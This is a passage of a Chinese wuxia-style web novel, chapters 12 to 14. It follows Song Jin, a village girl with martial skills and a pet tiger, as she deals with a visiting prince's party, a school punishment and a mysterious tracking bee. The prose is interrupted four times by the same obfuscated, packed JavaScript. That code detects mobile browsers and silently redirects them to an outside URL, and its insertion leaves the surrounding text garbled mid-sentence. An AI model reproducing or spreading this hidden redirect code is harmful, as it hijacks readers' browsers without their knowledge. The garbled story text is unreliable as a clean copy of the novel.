周围呼啸声渐消,宋行之咽了咽口水:“应,应该没事了吧?” 齐铮摇了摇头,色越发冷肃沉重,目光中杀气渐增,沉沉道 “朝我们来了” 宋行之打了个寒颤:“不,不会吧” 齐铮只是道:“安静” 山间像是按下静音符,虫鸣消失,鸟叫消散,野物也似消失不见,没有声响 齐铮漆黑的眸子看着远方,心情沉沉 近了 越来越近 他要是一个人,直接离开就是,再不济也能慢慢对付,但是身后这么多人,都是因为他才进山的 齐铮不可能不管他们 而猛虎这种玩意儿,便是内力再深,对付起来也不容易,毕竟内力再高,依旧是□□凡夫,那虎爪一下,一个不注意便是断手断脚 更何况现在夜色深深,甚至于山脉间不止一只猛虎,还是一个族群——猛虎多是独居,领地意识极强,但是偶尔,也会有亲族挨着的,这边山脉明显就是这种情况 齐铮握紧手中短刀,听着那越来越明显的虎行声,眼中杀气渐增 倏然,呼啸声再次响起,震得几人耳朵一鸣,那猛虎好似和什么打斗了起来,嘶吼中地面都仿若震动起来 时间逐渐拉长,又好似短短几瞬 周围平静了下来 一刻钟 两刻钟 足足半个时辰,宋行之大气都不敢出一个 对人他还能巧舌如簧谈判算计,对虎,他再是能说也不过一爪子的事,这会儿紧张得腿都有些无力了 “你们在这里等我” 旁边的齐铮敛起神色,不等他们说话,轻飘飘便下了树,顺着痕迹走到一里远的地方 这里的草丛翻腾,一看便是被狠狠压过的,再一看 齐铮皱眉,沿着血迹来到一处位置,他垂眸看着那被撕得破碎的灰皮动物,神色莫测 “王爷,王爷” 宋行之等人急急忙忙跟了过来,这躲避时候让齐铮垫后就大不敬了,再让人来探险,他们自己听着都觉得脖子凉凉,立马就跟着过来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15025834|162250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “野狼?不对,这,这应该是狼狗”宋行之脸色微变,他立马走近,也不在意狼狗身上淋漓的血肉,伸手检查一遍,甚至翻出它的胃脏,笃定道 “是人养的” 而在这样的山里,什么样的人会养这种恶犬呢? 答案显而易见 齐铮半蹲下身,捻了捻犬毛上细碎的银粉,翻出一块指甲大小的银矿,他转头看向林深处,声音沉沉:“继续探” 这次,宋行之也没说反对的话 若是无头苍蝇一般乱撞也就算了,眼看线索就在眼前,怎么也得一探究竟 宋行之:“王爷身份贵重,便让臣走前面” 齐铮目光瞥过他微抖的腿,什么话也不说,大刀阔斧朝前而行,没一会儿就把人甩在后面 宋行之:…… ** 眼看着一行人重振旗鼓,继续朝着山里前进 宋锦远远坐在枝头,用简陋望远镜看着他们迅速消失在林间,按照他们现在的速度和方位,也就,再过两日就能摸到地方了 至于能不能把人搞定 她收起望远镜,眯着眼睛,想到刚才看到的男人身上的气,这人内功深厚,想来是没有问题的。既然如此,剩下的就跟她没什么关系了 宋锦勾了勾唇,从树上跳了下来,踩在自己打滚和打雷差不多的虎闺女身上,捏着它的耳朵 “黄黄真棒,真没白养你” 突袭演戏假打一气呵成,黄黄简直是天生的演员虎,让它演戏可比当初让它学习打猎简单多了 黄黄撒娇:“咪~” 一晚上没睡了,它还是精神不得了,要不是宋锦不让它靠近,它多少得去给那行人带个路 “真乖” 宋锦一屁股蹲在地上,后背靠着树,就坐在那儿陪着虎闺女玩 这边枝叶稀疏,明亮的月色落了下来,铺在金黄的黄黄闺女身上宛如扑了一层银霜。黄黄调头咬了两下月光,咬了个空,它又起身追着月色跑,在这里窜过来窜过去,矫健迅猛,真就跟小猫扑蝴蝶似的 宋锦弯着眉眼,双手靠在脑后,看着天上星月,享受着这悠闲的时光 比起上辈子,现在这才叫日子啊,不慌不忙的 嗯? 不慌不忙? 宋锦一个呲溜站了起来,然后窜上树顶,仰头看着已经挪到西边的月亮,脸上笑容瞬间僵住 从她家过来这边她再是飞着走也得两个时辰,来两个时辰,去两个时辰,中间再耽搁一两个时辰 她痛苦闭上眼睛,再唰一下落到地面,火急火燎地运起轻功飞走,飞之前不忘指着那边的犬尸体嘱咐自家虎闺女 “黄黄你别乱跑,别去找那群人听到没?” 说完,她踩着枝叶飞走 留下打滚的黄黄甩着脑袋站了起来,睁着圆眼睛,懵懵地看着她的背影,再看看她指的犬尸,又歪着脑袋看向今天干了活的地方 它眼睛一亮,娇娇地咪了一声,朝着相反的方向跑去 “吼~” 12. 第 12 章 “人之初,性本善……” 清晨时候,学堂里坐满了人,从四五岁到十二三岁的少年少女,一个个端正身子,听话乖巧地跟着读书 林溪镇的学堂是由县里拨款,再由镇上各家凑钱建设出来的,建成后每家都可以把孩子送过来,进行为期一个月的启蒙,无论男女 期间的夫子的学费自己出,书本纸笔由学堂这边出 也因为林溪镇的学堂男女都能上,他们学堂在县里都是出了名的,人年年都是满的,最夸张的是,学堂女娃娃一点不比男娃娃少 毕竟,不管是哪个年头,疼爱女儿的人都有,但是私下请先生太贵,很少有人承担得起。现在好不容易有招收女学生的学堂,不管是疼爱女儿、还是家庭好亦或者是有远见,只要条件过得去都会把孩子送过来 不说多的,多识两个字,多认两本书名,会算个数总是好的 在他们乡下,上过学堂的女孩子,到了婚嫁年龄总是更受欢迎 要是再有天赋,学得多了,以后还能当个女夫子,教个书算个数——这个灵感来源于林溪镇学堂的赵夫子 赵夫子就是个女人家,她父亲是老举人,她从小便跟着读书识字,也没有成亲的打算,直到碰上了丈夫林夫子,也是她父亲的学生,她的师弟 夫妻俩成亲没多久,赵举人便风寒去世,夫妻俩相依为命,一边读书一边赚钱,就这样持续了十年,难以有孕的赵夫子怀孕了 眼看着生活拮据,赵夫子平日省吃俭用身子瘦弱,胎位不稳,家里连保胎的钱都要借,自觉科考无望的林夫子彻底放弃,打算正经工作赚取家用,经由朋友推荐,来到了这和他颇有缘分的林溪镇当夫子 这边人多学生多,束脩也多,可以让他们过上不错的日子 一开始,林夫子负责教书,赵夫子只是顺带,偶尔帮个忙 再后来,女学生渐多,赵夫子地位渐增,甚至招了人帮忙,林夫子倒是成了顺带 毕竟,他们泗安县书生多,男夫子随时都能找,优秀的女夫子真不好找啊 “……” 随时能被取代的林夫子从自己班走了出来,透过开的窗户,看着隔壁班小姑娘们端正听话的样子,再瞅瞅隔壁班那群熊孩子的嘻哈样,发出长长的叹气声 林夫子读书三十多载,秀才功名在身,教书很有一套,在学生面前也颇有威严。但是,他再有威信地位,孩子就是孩子,尤其是能进学堂的孩子,全都是家庭不错,在家里备受宠爱的小霸王们 除了那些天性乖巧的,大部分都不是省油的灯,不可能改了性子的,当着他的面听话老实,转个背就又开始打跳起来 林夫子叹了叹气,随即,手中戒尺一甩,面色一沉,身一转 教室鸦雀无声 当然不是因为林夫子,他就还没有走到教室,不过有人比他更快地进了教室——从窗户里翻进去了 上课期间,干得出这种事的,也就只有宋家那小霸王一个人了 林夫子都不知道是该气还是该乐,他走回教室一看,教室里安安静静,那些个调皮娃儿也老老实实地拿起书本,虽然有装模作样的成分,但是看得相当认真 谁让一霸更比一霸高,比他们更为霸道不讲理的宋锦此刻就坐在最前面的讲堂上,拿着书本百无聊赖地念着。那懒散的模样,换成了其他人,林夫子高低得拿着戒尺上去给两下,但换成宋锦 林夫子放心地调头去往隔壁教室,任由她在那里‘捣乱’ 被放心的宋锦趴在桌上上巴拉巴拉一堆,打着大大的哈欠关上书,桌子一拍:“好了,默写,不及格的人都给我出去挂树头” 学生们苦哈哈关上书,开始绞尽脑汁地默写了起来 这牛婶子也是,罚自家孩子就在家里罚就是了,非要把人给扔出来 这谁说得清受惩罚是前面坐着的宋锦还是他们啊 宋锦觉得,那肯定还是她啊,要不是被罚了,她才不想和这群小屁孩们玩呢,一个个脏兮兮臭哄哄的 “啧,快点,都给我快点,早点弄完早点放学。那边的大头、臭脚、歪眼、窝里横……”宋锦嫌弃地挨个点名那些拖后腿的分子,威胁,“别交头接耳,你耽误我一分钟,他耽误我一分钟,加起来就耽误我一个时辰,你们赔得起吗……” 学生们:…… 要不是打不过 忍 ** “十遍” “十遍” “二十遍” …… 宋锦打着哈欠,改着那些个乱糟糟的本子,要她说这些破孩子干脆都打道回府算了,就这学的真是浪费钱 她飞快改着东西,等到一个教室三十人全都改好了以后,把卷子一放,伸了个懒腰,打着哈欠:“回去抄写,等我明天来检查” 荣获二十遍的大头揉着通红的脑瓜子,哀怨:“你明天还来啊” 宋锦挑眉:“不行?” 大头:“……哈,哈哈,怎么可能,我就是关心你,金金姐,你怎么得罪牛婶婶了?这都快一旬了” 宋锦一脸问号:“一旬是几天?” 大头缩脖子:“五,五天?” 啪一下,宋锦拍拍面前这不灵光的大脑袋,嫌弃道:“一旬十天,我看你是想改名叫笨头了” 大头尬笑两下,拿着今日二十遍罚抄战绩退走,见他离开,其他人也纷纷退走 这教室里多是五六岁刚启蒙的小崽子,平日都不是什么好性子的,但是碰上宋锦这个没有尊老爱幼习惯的小霸王,一个个乖得就跟鸡崽子似乎的 宋锦靠在椅子上,双手往桌子上一搭,晃着腿,看着教室后面的简陋黑板上贴着的字迹,看着看着就忍不住打起了哈欠 上学,她真的不行啊 但是她上次嚣张上山,回来就被她老娘给堵了个正着,她也就被发配到学堂里来改造。已经五天没上山的宋锦有些蔫,很想知道山里现在的情况 唉 好想上山啊 但是牛铁兰现在发了狠,晚上直接睡到宋锦房间来,还给房门窗户上了锁,让她想跑也跑不了,只能老老实实挨罚,每天在镇子窜窜,来学堂闹闹,日子可无聊了 等到牛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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这也不奇怪,山里那么多路,他们外地过来不熟悉,不像那些人,扎根不知道多久了,随便寻个机会坑洼便能逃进去 这要是跑走了也就算了,要是逃窜道附近村镇,指不定会有什么危险 牛铁兰瞥了瞥说完,看了看宋锦脸色,心下有些了然 听到这消息的时候她知道这事和自家这天天山里窜的野猴子多半是逃不了关系的,只是不知道和之前的人有没有联系 牛铁兰想想还有些气,但是又有些无奈,自己的孩子自己了解,压是压不住的,只有偶尔拉拉绳栓一栓,在她断绳之前放人 她想了想,道:“家里茶园就在坡上,这阵子也要收了,万一有点什么,咱家今年可亏大了,你有空去看看” 正想着怎么开溜的宋锦喜笑颜开,立马拍着胸口保证:“放心吧娘,我马上就去,保证咱家茶园安安全全点儿事没有。您就在家里待着等我的好消息,我一会儿就回来” 牛铁兰轻哼:“你这个一会儿,是多一会儿?” 宋锦咧着白牙,拉着人胳膊晃着:“一会儿就是一会儿嘛,娘你怎么那么心急啊。心急吃不了热豆腐,您等着就是了。对了,眉毛耳朵都在家里待着哪儿也不去……” 母女俩慢悠悠朝着家里走 回到家,宋锦先是交代丫鬟小厮一番,又碎碎念念好一通嘱咐牛铁兰,这才骑上小黑,朝着自家山脚的茶园奔去 没想到刚到附近,她便被拦了下来 13. 第 13 章 林溪镇处在山窝窝间,周围的地平水多,非常适合居住。再往后走个十来公里,便是群山,小山大山盘龙山——基本上是这么个顺序 而宋锦家的茶园就在其中的小山上,这山地具体上属于林溪镇旗下的十里村,相比镇上,十里村这边少良田多山地,按理来说日子要难过一些 事实上以往也是这样的,不过山地只要运用得好,比起良田一点儿不差 就在七八年前,牛铁兰开始在这边栽种茶树桑树,一开始大家只道她个妇道人家说得好听,这东西是说种就种说卖就卖的吗? 那还真是 从茶园弄好到现在,她们家也就第一年贴钱,等后面一直都在赚钱,甚至比种田赚钱多了——在哪个年头,种地都不赚钱,即便她们家有百亩良田依旧 倒是桑蚕园时好时坏,不过总的来说还是赚的,并且在赚钱的同时带动着十里村的纺织作坊 综合这一切来说,宋锦在十里村还是很有排面的 也因此,即便是走到这边远远就发现村子外面多了一群人,她也毫不在意,大摇大摆地朝着那边走去,直到被拦下 宋锦震惊:“你们干什么?” 来人面不改色:“县衙办案,闲杂人等不得接近” 宋锦乐:“我看起来很闲?” 男人没有说话,目光从宋锦身上扫过,闲不闲的不好说,但是一看就是不好相处的 虽然宋锦穿的衣服普通,就是普普通通几百文一匹的布料,但是她容貌昳丽明艳,身姿高挑,皮肤白皙,神态肆意张扬,怎么看怎么不像普通过路的 指不定又是哪家得到消息,想法子送过来的人 他们王爷从小在外面长大,环境简单单纯,万一被迷了眼,他们这些跟群的侍卫可就罪过了 所以侍卫下意识的就是把人拦下,免得让人进去扰了清静 现在上宋锦乍一开口,他更觉得自己拦人是对的,这绝对是别有用心的人 一般乡下人听到县衙办案掉头就跑了,谁会像她一样啊 侍卫面无表情重复:“县衙办案,闲杂人等不得接近” 真是开了眼了,这么多年以来,宋锦还是第一次在自己的地盘被拦住 她气笑了,指着旁边过去的人:“凭什么他都能过,我不行?” 侍卫:“他们是村里人” 宋锦跳下骡子,没好气道:“我还是山里人呢,让开,我家茶园就在这边,我还要去看看情况。别拦着我,再拦着我小心我找县太爷参你们” 不加这句话还好,这话一说,侍卫更加笃定她是的人,后退一步,拔出半剑:“再往前走,刀剑无眼” “……”宋锦看着这过于尽忠职守侍卫磨牙,恨不得给人揍一顿,但是也只有想一想,在这个朝代她一个白身,面对官员还是得老实一些 等晚上再去套麻袋吧 “行行行,不让我进就不让我进,我回去就是了”宋锦憋屈摆手,随后气冲冲跳上骡背,驾着小黑离去 那侍卫一直看着她消失在路上才收回目光,转头看向一直欲言又止的村民:“怎么了?” 村民憋了半天了,犹犹豫豫:“那是宋锦,咱们村子最大茶园家的小姐” 侍卫在心里哦了一下,照旧:“紧要关头,闲杂人等一律禁止进入” 村民:…… 搞得他还有点紧张了 村民紧张兮兮:“大人,能和我说说到底是个什么情况吗?那跑走的劫匪,这么凶恶?” 侍卫瞥他,重复:“县衙办案,闲杂人等少打听” 村民:…… 得,他是挺闲的 而这边,在侍卫看不到的地方,那‘别有用心’‘气急败坏’的宋锦拉着小黑掉了个头,绕了一圈来到了村子的另一个方向 不是她嫌弃,但是就这么三两只小虾米外来侍卫就想把她拦在家门口? 开玩笑呢 宋锦看着面前紧急修建的栅栏,再瞅瞅那边歪歪倒倒打着哈欠距离负责看守的老熟人,笑眯眯地拍了拍小黑的脑袋 “小黑乖,就在这边等我哈,遇到危险就自己先回家” 小黑哼哧哼哧,淡定地啃着地上的草 宋锦也没想过它能听懂自己说什么,反正过往的经验已经证明,真遇上事了,这破骡子跑得比她还快 于是她很放心地把小黑留下,然后轻轻一跃,那简单的护栏就跟门槛似的,没有一点儿难度 宋锦勾了勾唇,满意地拍拍手,随后潇潇洒洒、大摇大摆地走到了那边负责守村的人身后,匕首往他脖子一放 “救,救,大,大侠,大侠饶命,扰我一条狗命,您要知道什么,我,我都知道,我知无不言” 那本来歪歪倒倒打着哈欠的人瞬间清醒,双腿打着哆嗦,说话也颤颤巍巍,一张脸上全是讨好。说着,都不用宋锦开口,这人就一骨碌的全招了 “村子围了起来,东南西北四个方位各有两人看守,间隙还有一人,山里也进了不少人进去,您,您要跑的快,就从这边村外直接出去,外面没人守。您,您就饶了我吧,我都没看到您的脸,认不出人。不然,不然您直接把我打晕,小的上有八十岁老母,下有三岁孩子,中间还有母老虎,我,我……” 宋锦一言难尽地把人放开 他非常自觉地蹲在地上,抱着脑袋,盖住脸:“大,大侠,您快走吧,我什么都不知道” 这怂样 宋锦一脚踢在他的屁股上,把人踢了个狗吃屎 男人:“踢,踢得好” “姜迁你个怂蛋,不用上战场就是逃兵了,村长是脑袋被门夹了让你来守?”宋锦没好气地又踹了人一脚,嫌弃 “你也是这么看老娘的茶园的?别人家找上门挖树了,你先找个坑把自己给埋了吧?” 这声音实在是太熟悉了,趴在地上瑟瑟发抖的男人一个咕噜翻身,连滚带爬地扒住宋锦的脚,哭得那叫一个悲惨 “宋锦你个王八蛋,吓死我了,我都在心里把遗言给写好了,我八十岁的老母亲的,三岁的小妮妮,二十三岁的母老虎” 宋锦额头跳起:“闭嘴” 姜迁哭嚎:“不行,我要让我叔给我做主,你吓死我了,我这是被上面招的,勉强也算是编外衙役,你这是袭击朝廷命官,你” 宋锦:“一个月工钱” 姜迁立马放开她站了起来,拍拍衣服擦擦脸,朝着宋锦行了个礼,人模人样的:“宋小姐有礼了,这阵子山里不太安生,您怎么来了?” 宋锦:“……怕我再不来你把我的茶园给卖了” 真碰上危险,这怂货是绝对做得出来的 姜迁立马变脸:“宋小姐这话说的,那茶园啊,我给您看得好好的,第一批新茶已经出来了,大大小小交易写得明明白白,这十里八村啊,您绝对都找不到比我干得更好的” 要不是因为这,宋锦还真不能雇佣这么个随时会反水的混子,奈何他怂是怂,算账做生意确实很有一手,能屈能伸会说话会养茶,还是十里村村长的亲侄子 宋锦忍了,问回正经事:“村子里怎么回事?” 姜迁也想起刚才的事,幽怨地看着宋锦,在她一个月工钱的重复中,才老实回道:“还能怎么回事?那些劫匪有事没事山里钻,出了事咱们山边边第一个倒霉。这次就是,宋小姐你还不知道吧,大桉村前两天被劫匪被洗劫了,死了不少人……” 听到大桉村这名字,宋锦愣了一下,想到了上次进城碰上的卖牛肉老头,那辛苦养了几年的牛好不容易可以用了,结果摔死了,现在村子又出这种 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15025836|162250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事…… 劫匪? 她正经三岁的时候可能会信 宋锦抿了抿嘴,向来张扬的神色抑了两分,再看向神色悲痛凄凉的姜迁,她凉凉道:“说再惨也不会给你加工钱的” 姜迁:“……” 宋锦又勾了勾嘴角,眸中厉色一闪而过,很快又消失不见,笃定道:“放心,茶园和村子不会有事的” 见她这般确定,姜迁心中松了口气 虽然宋锦只是普通乡下小地主,但是姜迁坚信她非常不凡,毕竟,除了她以外,他可没见过别人会飞。 也是这样,过于胆小得有些怂的他这些年一直待在她家的小茶园,即便有不少大茶以更高的价位邀他,他也没有挪过窝。万一他跑了,这小祖宗报复他怎么办? 金钱诚可贵,小命更重要 姜迁拍了拍自己还有些发软的腿,小声道:“村子里来了几个不得了的人,说的都是官话,身边带着侍卫,我听着应该是都城那边来的” 宋锦心中有了猜测,应该就是上次那伙人了 她点了点头,没有多说什么,朝着村子里面走去,身后传来姜迁的声音:“我刚才说的守卫人数不对,你别乱闯啊,还有你低调点,那群人里有个浪荡子,小心被他看到惹麻烦” 这小祖宗难惹归难惹,但是容貌是一等一的 对此,宋锦只是轻挑眉头,扬起嘴角,随即便大摇大摆地朝着村子里面走去 低调? 这话应该留给那所谓的浪荡子才对 这边可是她的地盘咧 ** “阿切” 这边,正说着事的宋行之狠狠打了个哈欠,他揉了揉有些酸的鼻子,打了个哈欠:“应该是这两天在山里染了风寒,等会去得吃点药,免得传给王爷” 齐铮声音凉飕飕的:“我看是不知在哪儿惹的风流祸” 刚过来就又招惹小姑娘的宋行之心虚地摸了摸鼻子:“窈窕淑女,君子好逑嘛,这你情我愿的事,王爷年纪轻轻,莫不是,还没体验过鱼水之欢?” 齐铮目光落在窗外一瞬,很快又挪了回来,冷肃:“管好你自己” 宋行之挥挥扇子,风流又轻佻:“别啊,难得外出,没有都城的规矩,王爷不如放松放松。男欢女爱,人之常情,此地偏僻,但是美人可不少,扰得臣都想把人带回去” 齐铮凉凉:“怎么,不怕宋大人了?” 宋行之挥了挥扇子掩盖微变的脸色,强装镇定自夸道:“这有何怕?我爹巴不得我多生两个,给家里开枝散叶哈哈” 齐铮敲敲桌子,道:“所以你打算把镇上的带孩子的寡妇带回去,让宋大人喜当爷开心开心?” “……”宋行之尴尬一笑,“真不愧是王爷,什么都知道” 齐铮低头,看着舆图上起伏不清的山脉,在上面做了好些标记之后,这才抬头,眼神冷厉沉肃 “你情我愿我不管,但是你但凡敢强逼,便是宋大人也救不了你” 宋行之轻佻之意迅速消失,他单膝扣地,郑重:“臣不敢” 齐铮静静地看着他,看着他后背都有些凉了,才淡淡开口:“出去吧” 宋行之在心里松了口气,暗骂他自己嘴贱,没事非要多什么嘴,现在好了,惹了人,回去指不定得被怎么收拾呢 他不敢再多嘴,摆了摆手便要离开,又听到齐铮开口:“刚有人过来了,去看看是个什么情况” 宋行之:…… 这种重要的事情下次早点说好吗? 担心出事的宋行之急匆匆走出房间,打算去找那些个侍卫问问怎么个情况,没想到刚走一半,他便眼前一黑,脑袋被麻袋套了个正着,不给他反应的机会,紧接着就是一阵拳打脚踢 “是,唔,谁谁……” 14. 第 14 章 “救命,救命啊” “轻点轻点,嘶,李青山,你故意的是不是” …… 紧关密实的房间里药味弥漫,伴随着哀嚎声阵阵 宋行之赤着上半身趴在床上,白皙的后背青青紫紫,一块块淤青,看着就知道下手人的心狠 李青山,也就是负责村子主路看手的侍卫十分嫌弃地给他上着药,在他的鬼哭声中加重了力道 “你可闭嘴吧,别吵了王爷的耳” 宋行之压下声音,但还是嘶哈声不断,他捏起拳砸了砸床,咬牙:“那小贼,最好别让我发现是谁,我非弄死他不可” 李青山呵呵一笑:“他?指不定是你在外面惹的风流债” 宋行之锤床,笃定:“不可能,我外面的美人儿温柔体贴,干不出这种事。这人下手狠辣,还有内力,绝对不是这村子里的,肯定是那些逃犯。不行,必须把人快点找出来” 李青山:“真要是那些逃犯,直接给你脖子抹了不好?明摆着是出气,你还是想想自己得罪了谁吧” 宋行之还是不服,他坚定地认为,像他这种风流倜傥的人,不可能得罪人的,尤其是美人儿 他和那些个美人儿都是你情我愿你侬我侬,怎么可能会有人如此狠心?肯定是那些丧尽天良的劫匪 李青山:“你还是想想是谁,要是劫匪我们能防,真要是你的风流债,牵连到王爷……” 宋行之确定自己没好果子吃,试想一下要是因为他的风流债,让齐铮像他今日一般躺在这里 他,死定了 死得不能再死那种 宋行之呲牙着牙趔趄起身,盘坐在床上,看着那站在窗户边冷冽的齐铮,完全可以看到自己回京后的惨痛结局了 他爹可不会管他什么试探不试探,效果不效果的,想到他爹以往的做法,他倒吸一口凉气,手忙脚乱地拉过一边的衣服,从里面找出一截竹筒 这竹筒就跟拇指一般大小,看起来毫不起眼,但是宋行之拿的却是小心翼翼 挪开盖子看看,立马嗡嗡嗡声音传来 他松了口气,顶着那青紫的脸,咬牙切齿 “小贼,看我不抓到你” ** “阿切” 茶树院中,宋锦蹲坐在地上,打了个大大的喷嚏,随后,就一脚把地上那香气过于奇怪的大花踩坏 “什么乱七八糟的花” 长得这般艳丽,不是有毒就是有毒,踩掉踩掉 宋锦用脚多碾了两下,这才捏着鼻子悠悠站起,顺便伸了个懒腰,看向旁边已目瞪口呆的人 她脚还踩在花上,问:“怎么了?” “……小姐”王老二合上下巴,指了指她脚下乱七八糟的残花,一言难尽道 “那是姜管事特意种的,说是可以让茶树长得更好,花结果子晒干后也可以卖钱,几百文一两” 当然,这么赚钱的玩意儿,买回来贵,种起来也费劲,这么一朵花,就代表着几十文了 “啊哈”宋锦瞅瞅地上稀巴烂的破花,再看看其他地方半开不开的花,嫌弃 “这玩意儿能赚钱?再说了,我怎么不知道茶园弄了这个?” 王老二幽幽:“夫人知道,她上次还来看了” 宋锦的脚立马有些沉重了起来,干笑两下,她挪开脚,拍拍手,装作若无其事地问道 “这段时间茶园还好吧?没什么乱七八糟的人和野兽过来吧?” 王老二幽幽:“说起这个,小姐我得和你对个账,就你那大老虎,这段时间叼了园子八只鸡两只羊……” 黄黄一般不会下山,但是十里村刚好就在山脚,又还是自家茶园,隔段时间它便会过来巡逻一下,顺便收取点报酬 这不是什么好事,老虎这玩意儿出现还是容易引起惊乱,所以牛铁兰严令禁止它下来,宋锦也应得好好的 但是,老虎哪可能完全听话啊,偶尔还是会跑下来 好在法外有情,偶尔那么一次两次的,当娘的睁一只眼闭一只眼,宋锦也不能得寸进尺过于嚣张,只能偷偷摸摸给自家虎闺女擦屁股 “喏,赔你”她摸摸鼻尖,扔了个银块过去,“还有那朵花” 王老二立马乐呵起来,小心翼翼地收起银两 这银子五两,八只鸡两只羊也不过四两五钱,剩下的就是他的‘封口费’了 王老二乐悠悠:“茶园今年茶长得好,看着比起去年多了半成,第一批新茶已经摘好炒好,过两日商队就会过来收了” 他们茶园的茶树分了四批批,前两批都是普通茶树,味道价格一般,后两批则是牛铁兰花了大价钱找到的,这些年精心照料下来,味道相当不错,在府州小有名气 宋锦走在茶园里,随手摘了几个嫩芽往嘴里一塞,有些涩还有些苦,但是很快就会回甜,蕴着奇妙的香味 她又摘了片老茶叶叼在嘴边,苦涩味更重,但是也那股香味也越弄,吃不惯的人不喜欢,喜欢的人会很喜欢 饶是宋锦这种不太懂茶的粗人,也知道今年味道比去年好些 她咂咂嘴:“不错不错,价格上应该是可以谈的,就是吧” 王老二焦急起来:“就是什么?” 他们的工钱可是和价钱挂钩的,今年收成好价格好,他们工钱也能多些,他可担心出问题了 宋锦:“就是村子都封了,商队能进来?” 王老二拍拍脑袋:“忘了这茬了,那我一会儿去和他们说说晚点来” 宋锦白眼:“商队商队,你说晚点就晚点?把货收拾好,送我家里去,那边没这么多事” 王老二苦笑:“那倒是,不然还能是镇子吗?真要在我们十里村犄角,哪能那么富裕啊” 对宋锦而言,十里村这种地势才更如鱼得水,所以她耸了耸肩没回答这个问题,继续在茶园里逛着 现在是盛夏时节,万物生长得正好,茶树枝叶鲜嫩,地上绿草横铺,不时夹杂着红黄小花 蝴蝶飞舞,蜜蜂环绕 嗡嗡嗡的呆头大蜜蜂在一众小蜜蜂中格外显眼,像是水里游的大头鱼,慢慢吞吞慢慢吞吞,但是又格外的快 一眼就吸引力宋锦的注意 她怎么瞅这大头蜂怎么有种同手同脚的好笑感,她瞅,她再瞅,一直到这大头蜂呆头呆脑地飞到她的面前不动了 看起来真是傻乎乎的 “哎” 宋锦歪歪脑袋,深刻怀疑这蜂子是脑袋不太聪明,还贴心地往旁边走了一点给它让路 嗡嗡嗡 没想到她一让开,这呆头蜂也跟着一起挪开,她再挪,它再跟,就跟那追踪器似地认准了她,可有意思了 “嘿,这是哪里来的小玩意儿” 还怪可爱的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15030614|162250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宋锦来了兴趣,弯下腰看着这毛绒绒的小玩意儿,见它一直盯着她,干脆伸手捉住它,放到眼前饶有兴趣地打量 脑壳圆圆身子圆圆,体型是寻常蜂子的两倍,翅膀也多了一对,晃着稳稳的 宋锦捏着蜂子,唤起了一边走神的王老二:“王老二,你认识这玩意不?是不是你养得蜂王?” 茶园说是茶园,但是占地面积很大,足足几座山,光是种茶又有些空旷了,所以还养了其他东西 桃树李子梨,鸡鸭鹅羊,蜜蜂鸽子… 天上飞的地上跑的,就差水里游的了 不过这些都是牛铁兰在打理,宋锦就只知道个大概,所以看着这呆头呆脑的蜜蜂的时候,她就以为是什么新品种 这古代和宋锦想的不太一样,有很多她都没听过的东西,她就以为这个也是 王老二被她喊醒,过来一看这呆头蜂蜜,嘴角一抽,十分嫌弃:“我的蜂王都是数一数二的机灵,怎么可能这么呆?” 宋锦戳戳呆头蜂,它一动不动地看着她,被捏在手里也不怕,甚至也不伸尾刺 不对,这玩意儿还不知道有没有尾刺呢,她好奇地捏捏它屁股尖尖 “吱”呆头蜂发出老鼠似的叫声 宋锦眼睛一亮,又捏了捏 呆头蜂又吱,再捏,再吱,再捏,再…… 王老二看得直翻白眼 他这主家小姐,有时候机灵得跟个什么似的,有时候又活像三岁小孩,什么都要弄一下 像这,不就是叫声奇特了点嘛,再说了,那圆脑袋的蜜蜂多了去了,叫声唧唧 王老二突然想起了什么,突然凑近到宋锦跟前打量着呆头蜂,还伸手抢了过来 宋锦摸不着头脑,松手叮嘱:“小心点你别给我弄死了哎” 小东西还挺好玩的,她要拿回去给她娘亲玩玩 但是王老二没有理她,只是仔细看着那蜂子,翻翻翅膀,看看肚子,最后脸色严肃了下来 宋锦:“怎么这个表情?它偷你蜂蜜吃了?” 王老二:“……哪能,就这么呆的能偷啥?我是突然想起一种蜂子,是岭南苗疆那边的特有的。身形如球,身披六翅,叫声如鼠,叫千里蜂,可追寻千里,在以前被当做斥候用” 宋锦挑眉,看向那滚滚的呆头蜂:“你是说,这玩意儿,追人?” 她把东西捏了回来,手感软绵绵毛绒绒的,那两只黑眼睛圆溜溜,看起来傻不愣登的,怎么看怎么也不是追人的 宋锦笃定:“你看错了” 王老二也有些怀疑自己认错了,毕竟他也只是以前听过,没见过,而且据说这种蜂子早就消失了才是 但是 